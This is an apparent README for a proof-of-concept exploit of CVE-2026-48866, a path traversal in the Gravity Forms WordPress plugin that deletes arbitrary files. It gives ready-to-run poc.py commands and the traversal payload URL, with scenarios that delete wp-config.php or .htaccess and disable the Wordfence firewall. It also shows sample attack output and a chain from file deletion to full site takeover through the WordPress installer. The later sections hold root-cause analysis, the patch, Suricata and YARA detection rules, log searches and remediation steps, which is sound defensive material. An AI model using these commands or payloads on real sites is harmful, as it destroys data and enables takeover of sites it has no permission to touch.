```
┌───────────────────────────────────────────────────────────┐
│ │
│ C V E - 2 0 2 6 - 4 8 8 6 6 │
│ │
│ Gravity Forms Path Traversal → Arbitrary File Deletion │
│ │
└───────────────────────────────────────────────────────────┘
```
gform_uploaded_files 接受 URL 中的 ../。管理员的删除点击会触发任意文件删除。
NVD •
Patchstack •
修复提交 •
源码镜像
## 目录
|
**利用**
- [快速开始](#quick-start)
- [工作原理](#how-it-works)
- [影响](#impact)
- [用法](#usage)
|
**防御**
- [技术深入分析](#technical-deep-dive)
- [检测](#detection)
- [修复方案](#remediation)
- [参考资料](#references)
|
## 快速开始
```
┌─────────────────────────────────────────────────────────────────────┐
│ REQUIREMENTS │
│ ─────────────────────────────────────────────────────────────── │
│ Target WordPress + Gravity Forms ≤ 2.10.0.1 │
│ Form Public form with a file upload field │
│ Python 3.8+ with requests │
│ Auth None (injection) / Admin creds (trigger) │
└─────────────────────────────────────────────────────────────────────┘
```
```
git clone https://github.com/0xABCD01/CVE-2026-48866.git
cd CVE-2026-48866
pip install requests
# 仅注入(未认证 — 当 admin 清理条目时文件失效)
python3 poc.py -t https://test.com -f 1 -i 3
# 完整 kill chain(提供 admin 凭证 — 立即删除)
python3 poc.py -t https://test.com -f 1 -i 3 --trigger --admin-user admin --admin-pass 'P@ssw0rd'
```
## 工作原理
### 攻击流程
```
┌───────────────────────────────────────────────────────────────────────┐
│ PHASE 1 — INJECTION │
│ (Unauthenticated — any visitor) │
├───────────────────────────────────────────────────────────────────────┤
│ │
│ ┌─────────┐ POST gform_uploaded_files ┌──────────────────┐ │
│ │ Attacker │ ──────────────────────────────── │ WordPress AJAX │ │
│ └─────────┘ {"input_3": [{"url": │ admin-ajax.php │ │
│ ".../../../../wp-config.php"}] └────────┬─────────┘ │
│ │ │
│ esc_url_raw() → OK (doesn't strip ../) │ │
│ is_valid_url() → OK (../ is valid URL) │ │
│ ▼ │
│ ┌──────────────────┐ │
│ │ wp_postmeta │ │
│ │ (entry stored │ │
│ │ WITH ../) │ │
│ └────────┬─────────┘ │
└──────────────────────────────────────────────────────────┼────────────┘
│
┌─────────────────────────────┘
│ (hours, days, or weeks pass...)
▼
┌───────────────────────────────────────────────────────────────────────┐
│ PHASE 2 — DELETION │
│ (Admin deletes entry — routine cleanup) │
├───────────────────────────────────────────────────────────────────────┤
│ │
│ ┌─────────┐ delete_entry(42) ┌──────────────────┐ │
│ │ Admin │ ──────────────────────────────── │ Gravity Forms │ │
│ └─────────┘ └────────┬─────────┘ │
│ │ │
│ get_physical_file_path() │ │
│ str_replace(url_base → path_base) │ │
│ ../ SURVIVES in the path │ │
│ ▼ │
│ ┌──────────────────┐ │
│ │ unlink() │ │
│ │ │ │
│ │ /var/www/html/ │ │
│ │ wp-config.php │ │
│ │ → DELETED │ │
│ └──────────────────┘ │
└───────────────────────────────────────────────────────────────────────┘
```
### 根本原因 (3 行 PHP 代码)
```
// forms_model.php — get_physical_file_path()
// Converts stored URL to filesystem path via string replacement
$path_info = GF_Field_FileUpload::get_file_upload_path_info( $url, $entry_id );
$file_path = str_replace(
trailingslashit( $path_info['url'] ), // https://target.com/wp-content/uploads/gravity_forms/
trailingslashit( $path_info['path'] ), // /var/www/html/wp-content/uploads/gravity_forms/
$url // .../gravity_forms/../../../wp-config.php
);
// Result: /var/www/html/wp-content/uploads/gravity_forms/../../../wp-config.php
// OS resolves ../../../ → /var/www/html/wp-config.php
```
在 `str_replace()` 和 `unlink()` 之间没有任何检查。漏洞就存在于这个间隙中。
## 影响
| 目标 |
效果 |
严重程度 |
wp-config.php |
网站下线。WordPress 显示安装向导。攻击者将数据库指向他们自己的服务器以实现完全接管网站。 |
严重 |
.htaccess |
URL 重写和安全规则失效。目录列表暴露。 |
高 |
wp-content/plugins/wordfence/wordfence.php |
Wordfence WAF 停止运行。攻击者与网站之间失去防火墙保护。 |
高 |
wp-includes/plugin.php |
没有插件加载。网站停止运行。 |
严重 |
wp-login.php |
管理员被锁定。在恢复文件之前,任何人都无法登录。 |
中 |
### 删除 → RCE 提升链
```
┌─────────────┐ ┌──────────────────┐ ┌─────────────────┐
│ Delete │ │ WordPress shows │ │ Attacker sets │
│ wp-config.php│ ──── │ installer wizard │ ──── │ own DB creds │
└─────────────┘ └──────────────────┘ └────────┬────────┘
│
▼
┌─────────────────┐
│ Full admin │
│ access to site │
│ (RCE via themes │
│ /plugin editor)│
└─────────────────┘
```
**RCE 链要求:**
- 攻击者控制的可达 MySQL 服务器
- WordPress 安装程序可访问(未被主机/WAF 阻止)
- 结果:攻击者会在同一域名上获得一个全新的 WordPress 安装,而不是获取现有站点数据的访问权限
## 用法
### 命令参考
```
┌──────────────────────────────────────────────────────────────────────────┐
│ USAGE │
│ ───────────────────────────────────────────────────────────────────── │
│ python3 poc.py [OPTIONS] │
│ │
│ REQUIRED │
│ -t, --target TARGET Target WordPress URL │
│ -f, --form-id ID Gravity Forms form ID │
│ -i, --field-id ID File upload field ID │
│ │
│ OPTIONAL │
│ --file FILE Relative path to delete (default: │
│ wp-config.php) │
│ --depth N ../ count (default: 3) │
│ --trigger Auto-delete via admin login │
│ --admin-user USER Admin username (default: admin) │
│ --admin-pass PASS Admin password (default: admin) │
│ --proxy URL HTTP proxy for intercepting │
│ --verify-only Check target only, don't exploit │
└──────────────────────────────────────────────────────────────────────────┘
```
### 示例场景
场景 1:静默注入(无需管理员凭据)
```
python3 poc.py \
--target https://test.com \
--form-id 1 \
--field-id 3
```
1. PoC 获取表单页面,提取 AJAX nonce
2. 提交 `gform_uploaded_files`,其 URL 中嵌入了 `../../../wp-config.php`
3. 数据库存储带有恶意 URL 的条目
4. 当管理员删除该条目时(日常清理或批量删除),`wp-config.php` 就会被删除
**触发时间:** 未知。取决于管理员的行为。可能是几小时或几周。
场景 2:完整攻击链(提供管理员凭据)
```
python3 poc.py \
--target https://test.com \
--form-id 1 \
--field-id 3 \
--trigger \
--admin-user admin \
--admin-pass 'P@ssw0rd!'
```
1. 阶段 1:注入恶意条目(与场景 1 相同)
2. 阶段 2:以管理员身份登录 WordPress,找到被植入的条目并将其删除
3. `wp-config.php` 被删除
4. PoC 检查网站是否已宕机
**触发时间:** 几秒钟。
场景 3:目标为 .htaccess(所需深度较低)
```
python3 poc.py \
--target https://test.com \
--form-id 1 \
--field-id 3 \
--file .htaccess \
--depth 2 \
--trigger \
--admin-user admin \
--admin-pass 'P@ssw0rd!'
```
**深度说明:**
```
depth 3 (default): gravity_forms/ → uploads/ → wp-content/ → WP root
depth 2: gravity_forms/ → uploads/ → wp-content/ (.htaccess lives here)
depth 1: gravity_forms/ → uploads/ (files in uploads dir)
```
场景 4:禁用 Wordfence 防火墙
```
python3 poc.py \
--target https://test.com \
--form-id 1 \
--field-id 3 \
--file wp-content/plugins/wordfence/wordfence.php \
--depth 1 \
--trigger \
--admin-user admin \
--admin-pass 'P@ssw0rd!'
```
场景 5:通过 Burp Suite 路由
```
python3 poc.py \
--target https://test.com \
--form-id 1 \
--field-id 3 \
--trigger \
--admin-user admin \
--admin-pass 'P@ssw0rd!' \
--proxy http://127.0.0.1:8080
```
### 示例输出
```
CVE-2026-48866 - Gravity Forms Arbitrary File Deletion
======================================================
Target: https://test.com
Form ID: 1
Field ID: 3
File: wp-config.php
Depth: 3
Trigger: True
[*] === Phase 1: Injecting path traversal payload ===
[*] Fetching form page to get nonce...
[+] Got nonce: a1b2c3d4e5f6
[*] Crafted payload URL: https://test.com/wp-content/uploads/gravity_forms/../../../wp-config.php
[*] Submitting form 1 to https://test.com/wp-admin/admin-ajax.php...
[*] Response status: 200
[+] Form submitted successfully. Malicious URL stored in entry.
[*] === Phase 2: Triggering file deletion as admin ===
[+] Logged in as admin
[+] Found latest entry ID: 42
[*] Deleting entry 42...
[+] Entry deleted. If the target file existed, it should now be deleted.
[*] Checking target site health...
[!!!] Site returned error - wp-config.php may have been deleted!
```
## 技术深入分析
### 调用栈:注入路径
```
wp_ajax_nopriv_gform_submit_form ← WordPress AJAX, NO AUTH
└─ GF_Ajax_Handler::submit_form()
└─ GFAPI::submit_form()
└─ GFFormDisplay::process_form()
├─ GFFormsModel::set_uploaded_files() [forms_model.php]
│ └─ esc_url_raw( $file['url'] ) ← does NOT strip ../
└─ GF_Field_FileUpload::get_value_save_entry() [class-gf-field-fileupload.php]
└─ get_multifile_value()
├─ GFCommon::is_valid_url($url) ← format-only, ../ passes
└─ $uploaded_files[] = $file['url'] ← STORED WITH ../
```
### 调用栈:删除路径
```
GFFormsModel::delete_lead() [forms_model.php]
└─ GFFormsModel::delete_files( $entry_id )
└─ delete_physical_file( $file_url, $entry_id )
├─ get_physical_file_path( $url )
│ └─ str_replace( url_base, path_base, $url ) ← ../ PRESERVED
├─ file_exists( $file_path ) ← OS resolves ../
└─ unlink( $file_path ) ← ARBITRARY FILE DELETED
```
### 漏洞版本与修复版本对比
| 漏洞版本 (≤ 2.10.0.1) |
修复版本 (2.10.1) |
|
```
// delete_physical_file() — NO validation
$file_path = self::get_physical_file_path(
$url, $entry_id
);
$file_path = apply_filters(
'gform_file_path_pre_delete_file',
$file_path, $url
);
// ← No check here
if ( file_exists( $file_path ) ) {
$result = unlink( $file_path );
}
```
|
```
// delete_physical_file() — WITH validation
$file_path = self::get_physical_file_path(
$url, $entry_id
);
$file_path = apply_filters(
'gform_file_path_pre_delete_file',
$file_path, $url
);
// NEW: verify path is in uploads
if ( ! GFCommon::is_file_in_uploads($url) ) {
GFCommon::log_debug(__METHOD__
. sprintf(': Not deleting: %s', $file_path));
return;
}
if ( file_exists( $file_path ) ) {
$result = unlink( $file_path );
}
```
|
### 补丁函数 (v2.10.1)
**`GFCommon::get_absolute_path()`** 通过遍历路径片段来解析 `.` 和 `..`:
```
public static function get_absolute_path( $path ) {
$path = str_replace( array( '/', '\\' ), DIRECTORY_SEPARATOR, $path );
$path = str_replace( '://', '|%%protocol%%|', $path );
$parts = array_filter( explode( DIRECTORY_SEPARATOR, $path ), 'strlen' );
$absolutes = array();
foreach ( $parts as $part ) {
if ( '.' == $part ) { continue; }
if ( '..' == $part ) {
array_pop( $absolutes );
} else {
$absolutes[] = $part;
}
}
$path = implode( DIRECTORY_SEPARATOR, $absolutes );
return str_replace( '|%%protocol%%|', '://', $path );
}
```
**`GFCommon::is_file_in_uploads()`** 将解析后的路径与 uploads 根目录进行比较:
```
public static function is_file_in_uploads( $file ) {
$file_path = self::get_absolute_path( $file );
$root_url = rgar(
GF_Field_FileUpload::get_file_upload_path_info( '' ), 'url'
);
if ( ! str_starts_with( $file_path, $root_url ) ) {
return false;
}
return true;
}
```
### 提交参考
| 版本 | 提交 | 描述 |
|---|---|---|
| v2.10.0 | [`86bf7b9`](https://github.com/codewurker/gravityforms/commit/86bf7b9ecf14fd4a826a741a1ae180040589ebed) | 存在漏洞。`delete_physical_file()` 中没有路径验证 |
| v2.10.1 | [`cf2ff65`](https://github.com/codewurker/gravityforms/commit/cf2ff65133d581cfed1c308adc1621c3af1f8422) | 已修复。在 `unlink()` 之前添加了 `is_file_in_uploads()` 保护 |
## 检测
### 网络:Suricata 规则
```
# Rule 1:检测 gform_uploaded_files 中的 ../ 遍历
alert http $EXTERNAL_NET any -> $HOME_NET any ( \
msg:"CVE-2026-48866 Gravity Forms Path Traversal in gform_uploaded_files"; \
flow:established,to_server; \
http.method; content:"POST"; \
http.request_body; content:"gform_uploaded_files"; \
content:"../"; distance:0; \
reference:cve,2026-48866; \
classtype:web-application-attack; \
sid:2026048866; rev:1;)
# Rule 2:URL 编码变体(%2e%2e)
alert http $EXTERNAL_NET any -> $HOME_NET any ( \
msg:"CVE-2026-48866 Gravity Forms Path Traversal (URL-encoded)"; \
flow:established,to_server; \
http.method; content:"POST"; \
http.request_body; content:"gform_uploaded_files"; \
content:"%2e%2e"; nocase; distance:0; \
reference:cve,2026-48866; \
classtype:web-application-attack; \
sid:2026048867; rev:1;)
# Rule 3:附近带有遍历的 "url" 键
alert http $EXTERNAL_NET any -> $HOME_NET any ( \
msg:"CVE-2026-48866 Gravity Forms Malicious URL in Upload Parameter"; \
flow:established,to_server; \
http.method; content:"POST"; \
http.request_body; content:"gform_uploaded_files"; \
content:"|22|url|22|"; distance:0; \
content:".."; distance:0; within:200; \
reference:cve,2026-48866; \
classtype:web-application-attack; \
sid:2026048868; rev:1;)
```
### 主机:YARA 规则
```
rule CVE_2026_48866_Exploit_Payload {
meta:
description = "Detects CVE-2026-48866 payload in HTTP POST data or logs"
cve = "CVE-2026-48866"
severity = "critical"
author = "security-research"
strings:
$gform_param = "gform_uploaded_files"
$traversal1 = "../"
$traversal2 = "..\\"
$traversal3 = "%2e%2e%2f" nocase
$traversal4 = "..%2f" nocase
$url_key = "\"url\""
condition:
$gform_param and $url_key and any of ($traversal*)
}
rule CVE_2026_48866_Vulnerable_Plugin {
meta:
description = "Detects vulnerable Gravity Forms lacking is_file_in_uploads fix"
cve = "CVE-2026-48866"
severity = "high"
strings:
$plugin_id = "gravityforms"
$vuln_func = "delete_physical_file"
$fix_func = "is_file_in_uploads"
condition:
$plugin_id and $vuln_func and not $fix_func
}
rule CVE_2026_48866_Patched_Plugin {
meta:
description = "Confirms Gravity Forms has the is_file_in_uploads patch"
cve = "CVE-2026-48866"
severity = "informational"
strings:
$plugin_id = "gravityforms"
$fix_func = "is_file_in_uploads"
$fix_helper = "get_absolute_path"
condition:
$plugin_id and $fix_func and $fix_helper
}
```
```
# 扫描您的 Gravity Forms 安装
yara -r CVE_2026_48866.yar /var/www/html/wp-content/plugins/gravityforms/
```
| 规则 | 你发现了 |
|---|---|
| `CVE_2026_48866_Exploit_Payload` | HTTP 日志或 POST 主体中的漏洞利用载荷 |
| `CVE_2026_48866_Vulnerable_Plugin` | 未安装修复补丁的 Gravity Forms |
| `CVE_2026_48866_Patched_Plugin` | 已安装修复补丁的 Gravity Forms |
### 日志分析
```
# Apache / Nginx access logs — 查找 exploitation 尝试
grep -E 'gform_uploaded_files.*(\.\./|%2e%2e)' /var/log/apache2/access.log
grep -E 'gform_uploaded_files.*(\.\./|%2e%2e)' /var/log/nginx/access.log
# Gravity Forms debug log — 检查被阻止的删除
grep "Not deleting file from URL" /var/www/html/wp-content/uploads/gravity_forms/debug.log
# 验证您的安装是否已包含修复
grep -r "is_file_in_uploads" /var/www/html/wp-content/plugins/gravityforms/
# → 结果位于 common.php = 已修补
# → 无结果 = VULNERABLE
```
## 修复方案
```
┌─────────────────────────────────────────────────────────────────────────┐
│ REMEDIATION CHECKLIST │
│ ───────────────────────────────────────────────────────────────────── │
│ │
│ [ ] 1. UPDATE Gravity Forms to ≥ 2.10.1 │
│ [ ] 2. VERIFY fix is present (grep for is_file_in_uploads) │
│ [ ] 3. AUDIT access logs for past exploitation attempts │
│ [ ] 4. DEPLOY Suricata/WAF rules as interim protection │
│ [ ] 5. CHECK file integrity (were any core files already deleted?) │
│ [ ] 6. MONITOR for new entries with suspicious file URLs │
│ │
└─────────────────────────────────────────────────────────────────────────┘
```
| 优先级 | 操作 | 命令 |
|---|---|---|
| P0 | 更新 Gravity Forms | WordPress 管理后台 → 插件 → 更新 |
| P1 | 验证补丁 | `grep -r "is_file_in_uploads" wp-content/plugins/gravityforms/` |
| P2 | 审计日志 | `grep -E 'gform_uploaded_files.*\.\./' /var/log/*/access.log` |
| P3 | 部署 WAF 规则 | 参见上文的[检测](#detection)章节 |
## 免责声明
```
┌─────────────────────────────────────────────────────────────────────────┐
│ LEGAL NOTICE │
│ ───────────────────────────────────────────────────────────────────── │
│ │
│ This tool is provided for AUTHORIZED SECURITY TESTING and EDUCATIONAL │
│ PURPOSES ONLY. Unauthorized access to computer systems is illegal │
│ under the Computer Fraud and Abuse Act (CFAA), EU Computer Misuse │
│ Directive, and equivalent laws worldwide. │
│ │
│ • Always obtain WRITTEN PERMISSION before testing systems you own. │
│ • You are responsible for complying with all applicable laws. │
│ • The authors assume NO LIABILITY for misuse of this software. │
│ │
│ If you find this vulnerability in production: REPORT IT. │
│ Patchstack: https://patchstack.com/database/ │
│ │
└─────────────────────────────────────────────────────────────────────────┘
```
## 参考资料
| 来源 | 链接 | 状态 |
|---|---|---|
| NVD | https://nvd.nist.gov/vuln/detail/CVE-2026-48866 | 已验证 |
| Patchstack 公告 | https://patchstack.com/database/wordpress/plugin/gravityforms/vulnerability/wordpress-gravity-forms-plugin-2-10-0-1-arbitrary-file-deletion-vulnerability | 已验证 |
| Gravity Forms 更新日志 | https://docs.gravityforms.com/gravityforms-change-log/ | 已验证 |
| 源码 (镜像) | https://github.com/codewurker/gravityforms | 已验证 |
| 漏洞提交 (v2.10.0) | https://github.com/codewurker/gravityforms/commit/86bf7b9ecf14fd4a826a741a1ae180040589ebed | 已验证 |
| 修复提交 (v2.10.1) | https://github.com/codewurker/gravityforms/commit/cf2ff65133d581cfed1c308adc1621c3af1f8422 | 已验证 |
| CWE-22 | https://cwe.mitre.org/data/definitions/22.html | 已验证 |
| MITRE CVE | https://www.cve.org/CVERecord?id=CVE-2026-48866 | 尚未填充 |